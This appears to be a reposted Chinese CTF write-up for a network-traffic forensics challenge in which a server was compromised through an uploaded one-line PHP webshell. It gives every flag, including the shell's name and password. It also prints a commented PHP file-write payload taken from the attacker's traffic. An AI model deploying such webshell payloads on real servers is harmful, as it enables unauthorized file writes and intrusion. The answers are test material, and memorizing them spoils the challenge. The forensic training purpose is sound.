当前位置: 首页 > news >正文

20250509_信安一把梭_黑客

Tags:流量分析, 应急响应, webshell, 信安一把梭

0x00. 题目

某天晚上安服仔小辉辉上班摸鱼期间突然发现服务器登入页面被挤掉线了,于是第六感告诉他,服务器肯定是被黑客攻击了,于是他赶紧把服务器的网线拔了并调取了那段时间的流量,然后慌忙的找到你,求求你救救安服仔吧

  1. 分析流量找到黑客查看的第一张图片,并将图片的文件名作为flag提交

  2. 分析流量找到黑客上传的一句话木马,并将文件名作为flag提交

  3. 分析流量找到黑客上传的一句话木马,并将一句话木马的密码作为flag提交

  4. 分析流量找到黑客上传的隐藏文件,并将文件名作为flag提交

  5. 分析流量找到黑客上传的隐藏文件,并将里面的内容提交(内容提示flag{...})


附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件

附件名称:20250509_信安一把梭_黑客.zip

0x01. WP

1. 分析流量找到黑客查看的第一张图片,并将图片的文件名作为flag提交

通过导出http对象定位图片文件,找到内容及文件大小,flag{hacker.png}

image

2. 分析流量找到黑客上传的一句话木马,并将文件名作为flag提交

继续浏览HTTP对象列表找到对应一句话木马,flag{1.php}

image

3. 分析流量找到黑客上传的一句话木马,并将一句话木马的密码作为flag提交

追踪相应HTTP流,找到对应的木马密码,flag{action}

image

拼接查看了一下php脚本

<?php// 关闭错误显示,避免暴露敏感信息@ini_set("display_errors","0");// 设置脚本执行时间无限制@set_time_limit(0);// 禁用魔术引号(已废弃,仅旧版PHP有效)@set_magic_quotes_runtime(0);// 输出响应开始标记echo("->|");// 解码并获取目标文件路径(z1参数需Base64编码)$f = base64_decode($_POST["z1"]);// 获取待写入的文件内容(z2参数)$c = $_POST["z2"];// 移除内容中的回车和换行符(防止格式干扰)$c = str_replace("\r","", $c);$c = str_replace("\n","", $c);// 将z2内容按每两个字符分割,并转换为URL编码格式后解码// 例如:输入"616263"会转换为"%61%62%63",解码后为"abc"$buf = "";for($i=0; $i<strlen($c); $i+=2) {$buf .= urldecode("%" . substr($c, $i, 2));}// 尝试将解码后的内容写入目标文件// 使用@抑制错误,成功写入输出1,失败输出0$file = @fopen($f, "w"); // 以写入模式打开文件$result = @fwrite($file, $buf); // 写入内容echo ($result ? "1" : "0"); // 输出响应结束标记echo("|<-");die();// z1=/var/www/upload/images/jiaoyi.txt
// z2=dai zhe chengyi go to jiaoyi!

4. 分析流量找到黑客上传的隐藏文件,并将文件名作为flag提交

查看所有POST请求:http.request.method eq "POST"

找到example1.php的请求,找到对应的文件名和文件内容

flag{hnt.txt}

image

5. 分析流量找到黑客上传的隐藏文件,并将里面的内容提交(内容提示flag{...})

同上,flag{f1ag{si11yb0yemmm}}

http://www.rkmt.cn/news/9575.html

相关文章:

  • 达芬奇标记测量线文字标题动画预设(Tracked Measuring Lines)使用指南
  • css样式:button边框贪吃蛇加载效果
  • 什么是NIC(网络接口卡)?
  • 视频剪辑效率翻倍!CyberLink PowerDirector 从入门到专业的全能解决方案
  • SAP-ABAP中STOP,EXIT,CHECK,RETURN,CONTINUE,LEAVE,REJECT的区别
  • Arduino ide 软件 不建议大家使用 缺点多多
  • Refit Consul
  • 麒麟服务器操作系统查询可用的内核版本以及安装和降级命令
  • 20250406_信安一把梭_测试篇
  • 3123004806软件工程查重项目
  • DeepSeek大模型混合专家模型,DeepSeekMoE 重构 MoE 训练逻辑 - 教程
  • Queue 配合Thread使用
  • 以下内容在if判定的时候会被判定为 假
  • 不同Windows系统中支持的最新.Net Framework/.NET版本
  • 每周读书与学习-初识JMeter 元件(二)
  • 深入解析:【Spring 全家桶】Spring MVC 快速入门,开始web 更好上手(下篇) , 万字解析, 建议收藏 ! ! !
  • 实用指南:ThinkPHP 6框架常见错误:htmlentities()函数参数类型问题解决
  • 完整教程:深入剖析 Chrome PartitionAlloc 内存池源码原理与性能调优实践
  • 如何构建embeding 的就是pytorch 中
  • C# 第 17天 028 029接口,依赖反转,单元测试
  • 群晖安装套件,套件版本与群晖版本不兼容;
  • 中间件专题:Redis
  • 负载排查和分析四
  • lookup-mehtod和replace-method标签的作用
  • 2025.9.21+7 [未完]
  • Ansible自动化运维实战 - 详解
  • Windows 离线环境下使用 VS Code 连接容器 Python 环境完整指南(亲测可用)
  • Macos 安装kali报错
  • 负载排查和分析二
  • 深入解析:老树发新芽:六西格玛培训为石油机械制造注入持久活力